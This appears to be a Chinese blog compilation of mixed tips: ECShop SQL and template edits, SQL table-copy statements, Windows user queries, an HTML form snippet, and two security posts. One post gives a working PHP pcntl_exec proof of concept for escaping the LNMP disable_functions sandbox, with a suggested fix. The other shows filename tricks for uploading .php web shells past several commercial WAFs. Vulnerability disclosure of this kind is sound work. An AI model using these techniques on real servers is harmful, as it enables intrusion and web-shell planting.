ecshop如何快速清空模板的测试订单信息

刚刚安装的模板,如何快速清空模板的订单测试数据呢?

方法:

truncate table ecs_order_action;
truncate table ecs_order_goods;
truncate table ecs_order_info;
delete from ecs_pay_log where order_type=0;

请注意表前缀 ,ecs_ 就是表前缀 ,如果不知道 后台数据库管理 数据表优化查看即可。
然后后台数据库管理 SQL查询进去 执行方法的语句即可。

ecshop修改收货地址中电话,邮箱必填

修改邮箱必填:
找到根目录js文件夹中的shopping_flow.js打开:
搜索

if ( ! Utils.isEmail(frm.elements['email'].value))
  {
    err = true;
    msg.push(invalid_email);
  }

注释或删除以上代码。
在打开includes目录中的lib.order.php文件
搜索

 if (exist_real_goods(0, $flow_type))
    {
        /* 如果存在实体商品 */

找到他下面的代码

!empty($consignee['email']) &&

注释或删除,到此收货地址中的邮箱必填功能就去掉了。

电话必填转成手机必填:
同样是shopping_flow.js文件中
搜索

if (Utils.isEmpty(frm.elements['tel'].value))
  {
    err = true;
    msg.push(tele_not_null);
  }
  else
  {
    if (!Utils.isTel(frm.elements['tel'].value))
    {
      err = true;
      msg.push(tele_invaild);
    }
  }

修改其中的tel为mobile
然后在修改lib_order.php中

 if (exist_real_goods(0, $flow_type))
    {
        /* 如果存在实体商品 */

下面的

!empty($consignee['tel']);

把其中的tel换成mobile
最后在到后台语言编辑项菜单中
购物流程语言包中搜索电话不能为空修改成手机不能为空

到此就大功告成了,剩下的就是修改模板中代表必填的符号或字样。

如何给ecshop系统添加新的配送插件

如何给ecshop系统添加新的配送插件,比如,添加快递为:XX快递 或者,小米快送 或….自己的:商城名称快递 等等.
无需修改ecshop模板文件
====方法很简单,大概的操作步骤以下几条=============

步骤1.打开includes\modules\shipping文件夹,把sto_express.php复制多一份,重名为tt_express.php;

步骤2.打开tt_express.php,ctrl+F调出“查找替换框”将所有“sto_express.php”替换成“tt_express.php” ,所有“申通快递”替换成“天天快递”;(有图片在第二部修改)

步骤3.打开languages\zh_cn\shipping文件夹,把sto_express.php复制多一份,重命名为tt_express.php;

步骤4.再将打开我们重命名好的tt_express.php,ctrl+F调出“查找替换框”将所有“sto_express.php”替换成“tt_express.php” ,所有“申通快递”替换成“天天快递”;(说明:步骤3.4是创建中文语言包,如果需要创建英文和繁体的语言包,请自行打开languages\en_us\shipping和languages\zh_tw\shipping进行步骤3.4的操作)

还需再修改:第16行:$_LANG[‘sto_express’] = ‘申通快递’;

改为:$_LANG[‘tt_express’] = ‘韵达快递’;

步骤5.Includes/inc_c**tant.php第237行加上相应如“ |tt_express ”

==原程序为:

/* 配送方式 */

define(‘SHIP_LIST’, ‘cac|city_express|ems|flat|fpd|post_express|post_mail|presswork|sf_express|sto_express|yto|zto’);

==修改后程序为:

define(‘SHIP_LIST’, ‘cac|city_express|ems|flat|fpd|post_express|post_mail|presswork|sf_express|sto_express| tt_express|yto|zto’);

步骤6. admin\templates\shipping_area_info.ht第12行加上相应如“ || $shipping_area.shipping_code ==’tt_express’ ”

==原程序为:

{if $shipping_area.shipping_code ==’ems’ || $shipping_area.shipping_code ==’yto’ || $shipping_area.shipping_code ==’zto’ || $shipping_area.shipping_code ==’sto_express’ || $shipping_area.shipping_code ==’post_mail’ || $shipping_area.shipping_code ==’sf_express’ || $shipping_area.shipping_code ==’post_express’ }

==修改后程序为:

{if $shipping_area.shipping_code ==’ems’ || $shipping_area.shipping_code ==’yto’ || $shipping_area.shipping_code ==’zto’ || $shipping_area.shipping_code ==’sto_express’ || $shipping_area.shipping_code ==’post_mail’ || $shipping_area.shipping_code ==’sf_express’ || $shipping_area.shipping_code ==’tt_express’ ||$shipping_area.shipping_code ==’post_express’ }

步骤7. 进入后台更新网站缓存,完成插件添加。

SELECT INTO 和 INSERT INTO SELECT 两种表复制语句

Insert是T-sql中常用语句,Insert INTO table(field1,field2,…) values(value1,value2,…)这种形式的在应用程序开发中必不可少。但我们在开发、测试过程中,经常会遇到需要表复制的情况,如将一个table1的数据的部分字段复制到table2中,或者将整个table1复制到table2中,这时候我们就要使用SELECT INTO 和 INSERT INTO SELECT 表复制语句了。

1.INSERT INTO SELECT语句

语句形式为:Insert into Table2(field1,field2,…) select value1,value2,… from Table1

要求目标表Table2必须存在,由于目标表Table2已经存在,所以我们除了插入源表Table1的字段外,还可以插入常量。示例如下:

–1.创建测试表
create TABLE Table1
(
a varchar(10),
b varchar(10),
c varchar(10),
CONSTRAINT [PK_Table1] PRIMARY KEY CLUSTERED
(
a ASC
)
) ON [PRIMARY]

create TABLE Table2
(
a varchar(10),
c varchar(10),
d int,
CONSTRAINT [PK_Table2] PRIMARY KEY CLUSTERED
(
a ASC
)
) ON [PRIMARY]
GO
–2.创建测试数据
Insert into Table1 values(‘赵’,’asds’,’90’)
Insert into Table1 values(‘钱’,’asds’,’100′)
Insert into Table1 values(‘孙’,’asds’,’80’)
Insert into Table1 values(‘李’,’asds’,null)
GO
select * from Table2

–3.INSERT INTO SELECT语句复制表数据
Insert into Table2(a, c, d) select a,c,5 from Table1
GO

–4.显示更新后的结果
select * from Table2
GO
–5.删除测试表
drop TABLE Table1
drop TABLE Table2

2.SELECT INTO FROM语句

语句形式为:SELECT vale1, value2 into Table2 from Table1

要求目标表Table2不存在,因为在插入时会自动创建表Table2,并将Table1中指定字段数据复制到Table2中。示例如下:

–1.创建测试表
create TABLE Table1
(
a varchar(10),
b varchar(10),
c varchar(10),
CONSTRAINT [PK_Table1] PRIMARY KEY CLUSTERED
(
a ASC
)
) ON [PRIMARY]
GO

–2.创建测试数据
Insert into Table1 values(‘赵’,’asds’,’90’)
Insert into Table1 values(‘钱’,’asds’,’100′)
Insert into Table1 values(‘孙’,’asds’,’80’)
Insert into Table1 values(‘李’,’asds’,null)
GO

–3.SELECT INTO FROM语句创建表Table2并复制数据
select a,c INTO Table2 from Table1
GO

–4.显示更新后的结果
select * from Table2
GO
–5.删除测试表
drop TABLE Table1
drop TABLE Table2

Windows下如何查看当前登录用户

对于开通远程桌面终端服务的Windows服务器来说,特别是在通过域管理的情况下,如何查看目前登录用户的情况呢?有没有类似Linux下的whoami、w、who等命令呢?这个还真有:
1、通过whoami命令查看
2、通过username变量查看,具体命令如下:echo %username%
上述两种方法只能查看当前会话用户信息,那么如何看到其他登录用户呢?
可以通过执行query user 命令,显示远程登录到服务器会话信息、另外前面有“>”号的一行,是当前执行此命令的会话。

LNMP虚拟主机PHP沙盒绕过/命令执行

LNMP是一款linux下nginx、php、mysql一键安装包。
下载:http://**.**.**.**/lnmp/lnmp1.2.tar.gz
执行一个命令即可简单安装。
LNMP是这样配置沙盒的:

1.disable_functions,配置在 include/php.sh中:

其值为:

passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,
ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket

2.open_basedir,在创建虚拟主机的时候配置:

如上图,方法是在虚拟主机跟目录里,新建一个.user.ini文件,并通过这个ini设置open_basedir,并用chattr +i赋予其不可修改的权限。

但如果php可以执行系统命令的话,open_basedir也没什么意义了。

我们看看编译php的选项:

可见开启了PHP默认不开启的pcntl:–enable-pcntl。

我们看前面,pcntl_exec是没有被禁用了。不知道为什么,这个版本把pcntl_exec的禁用给去掉了,这就导致了虚拟主机的沙盒绕过、命令执行。

给出pcntl_exec执行命令的方法。

pcntl_exec是类似windows下的shell.application。需要我们先写一个脚本文件,然后用其执行。

POC如下:

<?php
header("Content-Type: text/plain");
$cmd="/tmp/exec";
@unlink($cmd);
@unlink("/tmp/output");
$c = "#!/usr/bin/env bash\nuname -a > /tmp/output\n";
file_put_contents($cmd, $c);
chmod($cmd, 0777);
switch (pcntl_fork()) {
case 0:
$ret = pcntl_exec($cmd);
exit("case 0");
default:
echo "case 1";
break;
}

写一个脚本,执行命令后把结果输出到/tmp/output。

然后用pcntl_fork(),fork出一个子进程,在子进程里调用pcntl_exec执行这个脚本。否则在父进程里执行pcntl_exec后会导致进程一直处在等待状态,最后导致502。

然后查看output,echo file_get_contents(“/tmp/output”);

执行任意命令沙盒bypass,虚拟主机也就没什么意义了。
漏洞证明:
见上面。
修复方案:
禁用pcntl_exec,或者不要–enable-pcntl

上传绕过WAF几种常见的姿势

1:WTS-WAF 绕过上传
原内容:
Content-Disposition: form-data; name=”up_picture”; filename=”xss.php”
添加回车
Content-Disposition: form-data; name=”up_picture”; filename=”xss.ph
p”

2:百度云上传绕过见下:
百度云绕过就简单的很多很多,在对文件名大小写上面没有检测php是过了的,Php就能过,或者PHP,一句话自己合成图片马用Xise连接即可。
Content-Disposition: form-data; name=”up_picture”; filename=”xss.jpg .Php”
3:阿里云上传绕过见下:
源代码:
Content-Disposition: form-data; name=”img_crop_file”; filename=”1.jpg .Php”Content-Type: image/jpeg
修改如下:
Content-Disposition: form-data; name=”img_crop_file”; filename=”1.php”
没错,将=号这里回车删除掉Content-Type: image/jpeg即可绕过。
4:安全狗上传绕过见下:
源代码:
Content-Disposition: form-data; name=”image”; filename=”085733uykwusqcs8vw8wky.png”Content-Type: image/png
绕过内容如下:
Content-Disposition: form-data; name=”image”; filename=”085733uykwusqcs8vw8wky.png
C.php”
删除掉ontent-Type: image/jpeg只留下c,将.php加c后面即可,但是要注意额,双引号要跟着c.php”.

html a submit


<section class="header">

<section class="navbar J_navbar"> <a class="myaccount" href="{:url('user/index')}" ></a>

<form action="{:url('category/index')}<!-- {if $id} -->&id={$id}<!-- {/if} -->" method="post" id="searchForm" name="searchForm">

<div class="logo"><span class="page-title-search">

<div class="search-input">
          <input type="text" name="keywords" value="" id="keywords" autocomplete="off" placeholder="澳洲优品 一站扫光">
          </span></div>

      </div>

    </form>

    <a class="search-btn" href="javascript:document.getElementById('searchForm').submit();" ></a></section>

</section>